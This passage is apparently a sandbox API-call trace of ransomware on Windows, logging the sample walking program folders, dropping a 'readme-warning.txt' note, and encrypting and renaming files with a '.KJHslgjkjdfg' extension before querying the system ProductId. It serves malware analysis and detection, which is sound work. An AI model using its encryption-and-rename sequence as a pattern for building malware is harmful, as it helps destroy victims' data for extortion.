0x990000 [0180.897] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18a0 | out: hHeap=0x990000) returned 1 [0180.897] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0180.897] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0180.897] GetProcessHeap () returned 0x990000 [0180.897] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0180.897] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\readme-warning.txt") returned 86 [0180.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\readme-warning.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.898] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0180.898] CloseHandle (hObject=0x12c) returned 1 [0180.898] GetProcessHeap () returned 0x990000 [0180.898] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc608 | out: hHeap=0x990000) returned 1 [0180.898] GetProcessHeap () returned 0x990000 [0180.898] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0180.898] GetProcessHeap () returned 0x990000 [0180.898] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0180.898] GetProcessHeap () returned 0x990000 [0180.898] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.898] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.898] GetProcessHeap () returned 0x990000 [0180.899] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.899] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0180.899] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0180.899] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0180.899] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0180.899] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0180.899] GetProcessHeap () returned 0x990000 [0180.899] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x96) returned 0x9b0940 [0180.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.899] GetProcessHeap () returned 0x990000 [0180.899] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.899] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.899] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0180.899] GetProcessHeap () returned 0x990000 [0180.899] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x298) returned 0x9b1eb0 [0180.899] GetProcessHeap () returned 0x990000 [0180.899] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa0) returned 0x9b0940 [0180.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0180.901] GetProcessHeap () returned 0x990000 [0180.901] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.901] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.901] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0180.901] GetProcessHeap () returned 0x990000 [0180.901] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a2) returned 0x9dc608 [0180.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0180.901] GetProcessHeap () returned 0x990000 [0180.901] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.901] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0180.901] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0180.905] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0180.905] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.905] GetProcessHeap () returned 0x990000 [0180.905] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.905] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0180.905] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0180.905] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0180.905] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0180.905] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0180.905] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0180.905] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0180.906] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0180.906] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0180.906] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.906] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa2b58, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0xa2b58, lpOverlapped=0x0) returned 1 [0180.917] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0xa2b60, dwBufLen=0xa2b60 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0xa2b60) returned 1 [0180.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.922] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0xa2b60, lpOverlapped=0x0) returned 1 [0180.924] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0180.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa2c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.924] SetEndOfFile (hFile=0xf0) returned 1 [0180.927] GetProcessHeap () returned 0x990000 [0180.927] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.927] GetProcessHeap () returned 0x990000 [0180.927] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.kjhslgjkjdfg")) returned 1 [0180.928] CloseHandle (hObject=0xf0) returned 1 [0180.928] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0180.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0180.928] GetProcessHeap () returned 0x990000 [0180.928] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.928] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0180.928] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0180.930] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0180.930] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.930] GetProcessHeap () returned 0x990000 [0180.930] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.930] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0180.930] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0180.930] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0180.931] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0180.931] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0180.931] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0180.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0180.931] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0180.931] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0180.931] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.931] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3a18, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x3a18, lpOverlapped=0x0) returned 1 [0180.932] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x3a20) returned 1 [0180.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.932] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x3a20, lpOverlapped=0x0) returned 1 [0180.932] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0180.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.932] SetEndOfFile (hFile=0xf0) returned 1 [0180.935] GetProcessHeap () returned 0x990000 [0180.935] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.935] GetProcessHeap () returned 0x990000 [0180.935] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.935] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.kjhslgjkjdfg")) returned 1 [0180.940] CloseHandle (hObject=0xf0) returned 1 [0180.940] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0180.940] GetProcessHeap () returned 0x990000 [0180.940] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.940] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0180.940] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0180.940] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0180.940] GetProcessHeap () returned 0x990000 [0180.940] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0180.940] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0180.940] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0180.940] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0180.940] GetProcessHeap () returned 0x990000 [0180.940] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8b8 [0180.940] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0180.940] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8b8, pdwDataLen=0x29deb98 | out: pbData=0x9dc8b8, pdwDataLen=0x29deb98) returned 1 [0180.940] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0180.941] GetProcessHeap () returned 0x990000 [0180.941] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0180.941] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0180.941] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0180.941] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0180.941] GetProcessHeap () returned 0x990000 [0180.941] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18a0 [0180.941] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0180.941] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18a0, pdwDataLen=0x29de778 | out: pbData=0x9b18a0, pdwDataLen=0x29de778) returned 1 [0180.941] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0180.941] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0xf0) returned 0x0 [0180.941] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0180.941] RegCloseKey (hKey=0xf0) returned 0x0 [0180.941] GetProcessHeap () returned 0x990000 [0180.941] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0180.941] GetProcessHeap () returned 0x990000 [0180.941] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18a0 | out: hHeap=0x990000) returned 1 [0180.941] GetProcessHeap () returned 0x990000 [0180.941] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18a0 [0180.941] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0180.941] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, 